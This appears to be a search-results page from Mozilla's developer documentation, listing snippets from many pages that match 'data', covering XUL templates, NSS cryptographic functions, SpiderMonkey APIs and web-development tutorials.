...another argument in favor of keeping that data is that firefox doesn't delete its profile folders after it is uninstalled, so it would be consistent to keep it.
...And 2 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
such implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact.
...settimeout("dosomething();", 100); addeventlistener("load", "myaddon.init(); myaddon.onload();", true); setinterval(am_i_a_string_or_function_reference_qmark, 100); that in itself is certainly not elegant, but it may also become a security issue if you pass code that was externally retrieved (or at least contains bits of externally retrieved data): // do not use!
...rtain assumptions might not longer be true, for example the function signature may change (auri from above becomes aurl) or the function is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.addtab(auri); same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities.
...And 2 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
much of this registry data follows as a consequence of the discussions in bug 109402.
...hkey_local_machine\software\mozilla\netscape 6 6.1\extensions\ access the plugins value and value-data pair, e.g: plugins = c:\program files\netscape\netscape 6\plugins.
... you also have the components value and value-data pair; this is for xpcom components.
...And 2 more matches
WinRegValue - Archive of obsolete content
syntax winregvalue ( int datatype, byte[] regdata); parameters the winregvalue constructor takes the following parameter: datatype an integer indicating the type of the data encapsulated by this object.
...ue.reg_dword = 4 winregvalue.reg_dword_little_endian = 4 winregvalue.reg_dword_big_endian = 5 winregvalue.reg_link = 6 winregvalue.reg_multi_sz = 7 winregvalue.reg_resource_list = 8 winregvalue.reg_full_resource_descriptor = 9 winregvalue.reg_resource_requirements_list = 10 regdata a java byte array containing the data.
... returns a new winregvalue object, with the data members type and data set to the values passed to this constructor.
...And 2 more matches
Actions - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </v...
...after all the results have been examined, the dom tree will look like the following: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> <...
...button id="http://www.xulplanet.com/rdf/b" label="http://www.xulplanet.com/rdf/b"/> <button id="http://www.xulplanet.com/rdf/c" label="http://www.xulplanet.com/rdf/c"/> <button id="http://www.xulplanet.com/rdf/d" label="http://www.xulplanet.com/rdf/d"/> </vbox> since the template tag is hidden, the effect will be like in the image, three buttons with the labels of the data in the datasource.
...And 2 more matches
Building Menus With Templates - Archive of obsolete content
here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
... the query generates a list of the person tags within the datasource and outputs the action body for each one.
...you might be wondering why we couldn't just put the datasources attribute on the menupopup instead and not have a menupopup inside the action body.
...And 2 more matches
Simple Example - Archive of obsolete content
first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple.
...in the rdf data, the container 'http://www.xulplanet.com/rdf/myphotos has three children, so there are three possible values for the ?photo variable.
...the data network will now look like this: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the triple is evaluated next, and it will be examined for each potential result found so far.
...And 2 more matches
Simple Query Syntax - Archive of obsolete content
after the default query statements are evaluated, the data network will look something like this: (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the numbers are used here for the variable...
...the member data, or results, are held in the variable represented here by '?2'.
...since you can't declare variables in the simple syntax, a different way is used to grab rdf data.
...And 2 more matches
Static Content - Archive of obsolete content
this item doesn't need to be generated from the datasource.
... <menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> ...
...note that the workaround of loading the datasource beforehand as mentioned for the last example isn't necessary, as the existence of the static content is another effective workaround.
...And 2 more matches
Template and Tree Listeners - Archive of obsolete content
nsirdfobserver - for rdf datasources, used to listen to changes in the underlying rdf datasource.
...the template builder might also force a rebuild when the underlying data change notifications require it.
...in a content builder, it will return the element with the datasources attribute, which in the template builder is referred to as the root element.
...And 2 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete.
... value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...And 2 more matches
XML - Archive of obsolete content
it is a language for describing the structure of data.
... it does not describe the way in which this data is to be presented, like its semantically-challenged cousin html does, and it doesn't have much to say about the data itself.
... when someone says they are using xml, what they probably mean is that they have used xml to define their own syntax for marking up some data they are interested in.
...And 2 more matches
browser - Archive of obsolete content
ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata addprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents.
...(this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a url into the document, with the given referrer and character set.
...And 2 more matches
preferences - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods void firechangedevent(in domelement preference); creates and dispatches a changed (non-bubbling) event to the specified preference element.
... void observe(in nsisupports asubject, in string atopic, in wstring adata); nsiobserver method used internally to react to changes to preferences listed as children of this element.
...And 2 more matches
treecell - Archive of obsolete content
this attribute should be placed alongside the datasources attribute.
... value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...And 2 more matches
NPN_PostURLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a url, and receives notification of the result.
... syntax #include <npapi.h> nperror npn_posturlnotify(npp instance, const char* url, const char* target, uint32 len, const char* buf, npbool file, void* notifydata); parameters the function has the following parameters: instance current plug-in instance, specified by the plug-in.
... buf path to local temporary file or data buffer that contains the data to post.
...And 2 more matches
NPN_RequestRead - Archive of obsolete content
this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
... description for a seekable stream, the browser sends data only in response to requests by the plug-in.
... the plug-in calls npn_requestread() to request data from a seekable stream.
...And 2 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ...
... javascript contains characters which can not exist in xhtml javascript typically contains characters which can not exist in xhtml outside of cdata sections.
... <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause problems in downlevel browsers which do not understand xml.
...And 2 more matches
Troubleshooting XForms Forms - Archive of obsolete content
any instance, no controls get bound if no controls show with either inline instance or an <xf:instance src="...">, check the following: as with inline instance, make sure the instance of the form control ref binding expression matches the namespace of the data.
...so with an instance like this: <xf:instance id="ins2" xmlns=""> <data> <value>42</value> </data> </xf:instance> you should use <output ref="instance('ins2')/value"/> to show the contents of the value element.
...the xss sub-tab has the following options: turn cross-site post requests into data-less get requests anti-xss protection exceptions you can temporarily fix the problem by unchecking the turn cross-site post requests into data-less get requests check box.
...And 2 more matches
Introduction to game development for the Web - Game development
indexeddb a powerful data storage api for maintaining user data on their own computer or device.
... typed arrays javascript typed arrays give you access to raw binary data from within javascript; this lets you manipulate gl textures, game data, or anything else, even if it's not in a native javascript format.
... webrtc the webrtc (real-time communications) api gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users.
...And 2 more matches
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
hackers can maliciously pass sql commands through the web app for execution by a backend database.
... sql injection can gain unauthorized access to a database or to retrieve information directly from the database.
... many data breaches are due to sql injection.
...And 2 more matches
What is a web server? - Learn web development
(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web.
... a dynamic web server consists of a static web server plus extra software, most commonly an application server and a database.
... for example, to produce the final webpages you see in the browser, the application server might fill an html template with content from a database.
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
related to blocking), many web api features now use asynchronous code to run, especially those that access or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a vr headset.
... callbacks are versatile — not only do they allow you to control the order in which functions are run and what data is passed between them, they also allow you to pass data to different functions depending on circumstance.
...let's look at a quick example, from our fetching data from the server article: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { products = json; initialize(); }).catch(function(err) { console.log('fetch problem: ' + err.message); }); note: you can find the finished version on github (see the source here, and also see it running live).
...And 2 more matches
Introduction to events - Learn web development
some more advanced handlers, however, add specialist properties containing extra data that they need to function.
... the media recorder api, for example, has a dataavailable event, which fires when some audio or video has been recorded and is available for doing something with (for example saving it, or playing it back).
... the corresponding ondataavailable handler's event object has a data property available containing the recorded audio or video data to allow you to access it and do something with it.
...And 2 more matches
Arrays - Learn web development
previous overview: first steps next in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name.
...paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles']; shopping; in the above example, each element is a string, but in an array we can store various data types — strings, numbers, objects, and even other arrays.
... we can also mix data types in a single array — we do not have to limit ourselves to storing only numbers in one array, and in another only strings.
...And 2 more matches
Test your skills: JSON - Learn web development
json 1 the one and only task in this article concerns accessing json data and using it in your page.
... json data about some mother cats and their kittens is available in sample.json.
... the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise chain (which starts by fetching the json data) is fulfilled.
...And 2 more matches
Multimedia: video - Learn web development
this is the ffmpeg command string to remove audio: ffmpeg -i original.mp4 -an -c:v copy audiofreeversion.mp4 video preload the preload attribute has three available options: auto|metadata|none.
... the default setting is metadata.
...you can save data by deferring download for less popular videos.
...And 2 more matches
Handling common HTML and CSS problems - Learn web development
for example: <video id="video" controls preload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <!-- offer download --> <p>your browser does not support html5 video; here is a link to <a href="video/tears-of-steel-battle-clip-medium.mp4">view the video</a> directly.</p> </video> this example includes a ...
...these are very useful, particularly on mobile platforms, where providing a pain-free way of entering data is very important for the user experience.
... if you view the example on a supporting browser like desktop/android chrome or ios safari, you'll see the special widgets/features in action as you try to input data.
...And 2 more matches
Handling common JavaScript problems - Learn web development
typed arrays allow javascript code to access and manipulate raw binary data, which is necessary as browser apis for example start to manipulate streams of raw video and audio data.
... there are also many new apis appearing in recent browsers, which don't work in older browsers, for example: indexeddb api, web storage api, and others for storing website data on the client-side.
...as a quick example, the geolocation api (which exposes available location data for the device the web browser is running on) has a main entry point for its use — a geolocation property available on the global navigator object.
...And 2 more matches
Continuous Integration
the talos indicators in treeherder appear green if the job successfully completed; to see the performance data generated by the jobs, click on the performance tab of the job details panel that pops up when you click on a job in treeherder.
... each test is executed multiple times to produce a number of data replicates.
... the talos harness produces a single number per test (typically the median of all the replicates excluding the first 1-5), which are stored in treeherder's database, and are accessible via the perfherder interface.
...And 2 more matches
Debugging a hang on OS X (Archived)
when it's done parsing the data, click the "show text report" button; a new window will open with a couple of rows with stacktraces for all the threads in the sampled application.
... for a more detailed view of the sample data, make sure the sample you just recorded is selected in the “detected hangs” window and click on the “open…” button.
... when it's done parsing the data, you should now have a couple of rows with stacktraces for all the threads in the sampled application.
...And 2 more matches
Eclipse CDT
this "parse once" strategy can also cause "unresolved inclusion" errors in headers if the first time eclipse sees the header is while indexing a file for which it doesn't have any build output parser data.
...when the object directory is inside the source directory (and not filtered out by a resource filter), then eclipse's "allow heuristic resolution of includes" option (enabled by default) will generally allow the included headers to be found when eclipse processes source files, that don't have any build output parser data.
...files compiled only on other platforms) and that therefore have no build output parser data associated with them.
...And 2 more matches
Performance
do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
...do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
... store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab.
...And 2 more matches
Storage access policy: Block cookies from trackers
firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources.
... no — this feature only restricts access to cookies and site data that can be used to track users across websites.
...will i still receive analytics data?
...And 2 more matches
Addon
void iscompatiblewith(in string appversion, in string platformversion) void findupdates(in updatelistener listener, in integer reason, in string appversion, in string platformversion) overview of optional methods void uninstall() void canceluninstall() boolean hasresource(in string path) nsiuri getresourceuri(in string path) void getdatadirectory(in datadirectorycallback callback) required properties attribute type description appdisabled read only boolean true if this add-on cannot be used in the application based on version compatibility, dependencies, and blocklisting.
...tionamount read only string averagerating read only number reviewcount read only integer reviewurl read only string totaldownloads read only integer weeklydownloads read only integer dailyusers read only integer repositorystatus read only integer callbacks datadirectorycallback() a callback which is passed a directory path, and, when an error has occured, an error object.
... void datadirectorycallback( in string path, in error error ) parameters path a string representation of the addon's data directory.
...And 2 more matches
AsyncShutdown.jsm
failing to inform the system of this requirement can (and has been known to) cause data loss.
... example at some point during shutdown, the add-on manager needs to ensure that all add-ons have safely written their data to disk, before writing its own data.
... since the data is saved to the profile, this must be completed during phase profilebeforechange.
...And 2 more matches
Localizing extension descriptions
this article provides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on.
... localizing in gecko 1.9 gecko 1.9 includes a new, more robust method for localizing add-on descriptions and other metadata.
... <description> <em:locale>nl-nl</em:locale> <em:name>tab sidebar</em:name> <em:description>laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description> </description> </em:localized> <em:name>tab sidebar</em:name> <em:description>displays previews of your tabs in your sidebar.</em:description> </description> </rdf> all of the metadata mentioned below can be localized in this way.
...And 2 more matches
BloatView
this log contains data on leaks and bloat (a.k.a.
... xpcom_mem_leak_log this is similar to xpcom_mem_bloat_log, but restricts the log to only show data on leaks.
...logn > htmlfile this will produce an html file that contains a table similar to the following (but with added javascript so you can sort the data by column).
...And 2 more matches
Reporting a Performance Problem
the profiler uses a fixed size buffer to store sample data.
...if you choose custom settings (and then clicking edit settings) for the profiler, you can adjust the size of the buffer (presently defaults to 90 mb) and the time interval between data collection (presently defaults to 1 ms).
... the data will open in a new tab.
...And 2 more matches
Firefox Sync
firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices.
...all data is encrypted and decrypted on each device; no sync data is ever transmitted to a server without being encrypted.
... mozilla does not hold any keys to your sync data.
...And 2 more matches
Condition Variables
this chapter describes the api for creating and destroying condition variables, notifying condition variables of changes in monitored data, and making a thread wait on such notification.
... condition variable type condition variable functions conditions are closely associated with a single monitor, which typically consists of a mutex, one or more condition variables, and the monitored data.
...in addition, a static association exists between the condition and some data within the monitor.
...And 2 more matches
PR_GetThreadPrivate
recovers the per-thread private data for the current thread.
... syntax #include <prthread.h> void* pr_getthreadprivate(pruintn index); parameter pr_getthreadprivate has the following parameters: index the index into the per-thread private data table.
... returns null if the data has not been set.
...And 2 more matches
PR_Wait
waits for an application-defined state of the monitored data to exist.
...it is the responsibility of the programmer to evaluate the data and act accordingly.
... this is usually done by evaluating a boolean expression involving the monitored data.
...And 2 more matches
PR_Write
writes a buffer of data to a file or socket.
... buf a pointer to the buffer holding the data to be written.
... amount the amount of data, in bytes, to be written from the buffer.
...And 2 more matches
NSS Sample Code sample3
eam.h> #include "pk11pub.h" #include "nss.h" static void printdigest(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } /* * main */ int main(int argc, const char *argv[]) { int status = 0; pk11slotinfo *slot = 0; pk11symkey *key = 0; pk11context *context = 0; unsigned char data[80]; unsigned char digest[20]; /*is there a way to tell how large the output is?*/ unsigned int len; secstatus s; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeo...
...f data); if (s != secsuccess) { cout << "digestupdate failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 2 - hashing with included secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty */ ...
...And 2 more matches
FC_DecryptVerifyUpdate
name fc_decryptverifyupdate - continue a multi-part decrypt and verify operation syntax ck_rv fc_decryptverifyupdate( ck_session_handle hsession, ck_byte_ptr pencrypteddata, ck_ulong ulencrypteddatalen, ck_byte_ptr pdata, ck_ulong_ptr puldatalen ); parameters hsession [in] session handle.
... pencrypteddata [in] pointer to the encrypted data part.
... ulencrypteddatalen [in] length of encrypted data in bytes.
...And 2 more matches
FC_Digest
name fc_digest - digest a block of data.
... syntax ck_rv fc_digest( ck_session_handle hsession, ck_byte_ptr pdata, ck_ulong usdatalen, ck_byte_ptr pdigest, ck_ulong_ptr pusdigestlen ); parameters hsession [in] session handle.
... pdata [in] pointer to data block.
...And 2 more matches
FC_Sign
name fc_sign - sign a block of data.
... syntax ck_rv fc_sign( ck_session_handle hsession, ck_byte_ptr pdata, ck_ulong usdatalen, ck_byte_ptr psignature, ck_ulong_ptr pussignaturelen ); parameters hsession [in] session handle.
... pdata [in] pointer to data block.
...And 2 more matches
FC_SignRecover
name fc_signrecover - sign data in a single recoverable operation.
... syntax ck_rv fc_signrecover( ck_session_handle hsession, ck_byte_ptr pdata, ck_ulong usdatalen, ck_byte_ptr psignature, ck_ulong_ptr pussignaturelen ); parameters hsession [in] session handle.
... pdata [in] mechanism to be used for the signing operation.
...And 2 more matches
FC_Verify
name fc_verify - sign a block of data.
... syntax ck_rv fc_verify( ck_session_handle hsession, ck_byte_ptr pdata, ck_ulong usdatalen, ck_byte_ptr psignature, ck_ulong ussignaturelen ); parameters hsession [in] session handle.
... pdata [in] pointer to data block.
...And 2 more matches
FC_VerifyRecover
name fc_verifyrecover - verify data in a single recoverable operation.
... syntax ck_rv fc_verifyrecover( ck_session_handle hsession, ck_byte_ptr psignature, ck_ulong ussignaturelen, ck_byte_ptr pdata, ck_ulong_ptr pusdatalen ); parameters hsession [in] session handle.
...pdata [out] pointer to the buffer or null.
...And 2 more matches
NSS cryptographic module
this chapter describes the data types and functions that one can use to perform cryptographic operations with the nss cryptographic module.
...both modes of operation use the same data types but are implemented by different functions.
... the nss cryptographic module also exports the function nsc_moduledbfunc for managing the nss module database secmod.db.
...And 2 more matches
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... this tool can also create certificate, key, and module security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases.
...And 2 more matches
OLD SSL Reference
initialization initializing caches configuration communication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
... ssl, pkcs #11, and the default security databases setting up the certificate and key databases setting up the ca db and certificate setting up the server db and certificate setting up the client db and certificate verifying the server and client certificates building nss programs chapter 3 selected ssl types and structures this chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them.
...cipherprefget ssl_configsecureserver ssl_seturl ssl_setpkcs11pinarg callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecallback ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions ...
...And 2 more matches
pkfnc.html
syntax #include <pk11func.h> #include <certt.h> certcertificate *pk11_findcertfromnickname( char *nickname, void *wincx); parameters this function has the following parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token.
... wincx a pointer to application data for the password callback function.
... syntax #include <pk11func.h> #include <certt.h> #include <keyt.h> seckeyprivatekey *pk11_findkeybyanycert( certcertificate *cert, void *wincx); parameters this function has the following parameters: cert a pointer to a certificate structure in the certificate database.
...And 2 more matches
NSS Tools
overall objectives provide a tool for analyzing and repairing certificate databases (dbck).
... tools information tool description links certutil 2.0 manage certificate and key databases (cert7.db and key3.db).
... source, documentation, dbck 1.0 analyze and repair certificate databases (not working in nss 3.2) source, tasks/plans modutil 1.1 manage the database of pkcs11 modules (secmod.db).
...And 2 more matches
NSS Tools pk12util
the options and arguments for the pk12util command are defined as follows: options -i p12file import a certificate and private key from from the p12file into the database.
... -o p12file export certificate and private key, specified by the -n option, from the database to the p12 file.
... -d dir specify the database directory into which to import to or export from certificates and keys.
...And 2 more matches
NSS tools : vfychain
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... this tool can also create certificate, key, and module security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases.
...And 2 more matches
Bytecode Descriptions
defining properties initprop operands: (uint32_t nameindex) stack: obj, val ⇒ obj define a data property on an object.
...implements: createdatapropertyorthrow as used in propertydefinitionevaluation of regular and shorthand propertydefinitions.
...format: jof_atom, jof_prop, jof_propinit, jof_ic initelem, inithiddenelem stack: obj, id, val ⇒ obj define a data property on obj with property key id and value val.
...And 2 more matches
Statistics API
overview each time a garbage collection occurs, spidermonkey keeps track of how long each phase of the collection took, along with some related data.
... there are several ways to get access to this data: the environment variable moz_gctimer controls text dumping of gc stats.
...if a filename is given, data is appended to that file.
...And 2 more matches
JS_GetContextPrivate
access a jscontext field for application-specific data.
... syntax void * js_getcontextprivate(jscontext *cx); void js_setcontextprivate(jscontext *cx, void *data); void * js_getsecondcontextprivate(jscontext *cx); // added in spidermonkey 17 void js_setsecondcontextprivate(jscontext *cx, void *data); // added in spidermonkey 17 name type description cx jscontext * any context.
... data void * (in js_setcontextprivate or js_setsecondcontextprivate) pointer to application-defined data to be associated with the context cx.
...And 2 more matches
JS_GetPrivate
access the private data field of an object.
... description js_getprivate accesses an object's private data field.
...new objects' private data fields are initially null.
...And 2 more matches
JS_GetRuntimePrivate
access a jsruntime field for application-specific data.
... syntax void * js_getruntimeprivate(jsruntime *rt); void js_setruntimeprivate(jsruntime *rt, void *data); name type description rt jsruntime * any js runtime.
... data void * (in js_setruntimeprivate) pointer to application-defined data to be associated with the runtime rt.
...And 2 more matches
JS_SetExtraGCRoots
syntax void js_setextragcroots(jsruntime *rt, jstracedataop traceop, void *data); argument meaning rt the runtime whose trace operation is to be set.
... data closure pointer, to be passed through to traceop.
... callback syntax typedef void jstracedataop (jstracer *trc, void *data); argument meaning trc tracing data, to be passed through to js_calltracer.
...And 2 more matches
Gecko object attributes
applied to: state_checkable state datatype warning: obsolete, do not use!
...for example, a datatype may be xsd:integer.
...for more information please read about schema datatypes.
...And 2 more matches
PromiseFlatCString (External)
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data members no public members.
...ng& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutle...
...And 2 more matches
PromiseFlatString (External)
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
...ing&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring& astring void assign(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart ...
...And 2 more matches
Replace
void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw character array to append to this string.
... adatalength [in] the length of adata, measured in storage units.
...And 2 more matches
nsACString (External)
cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
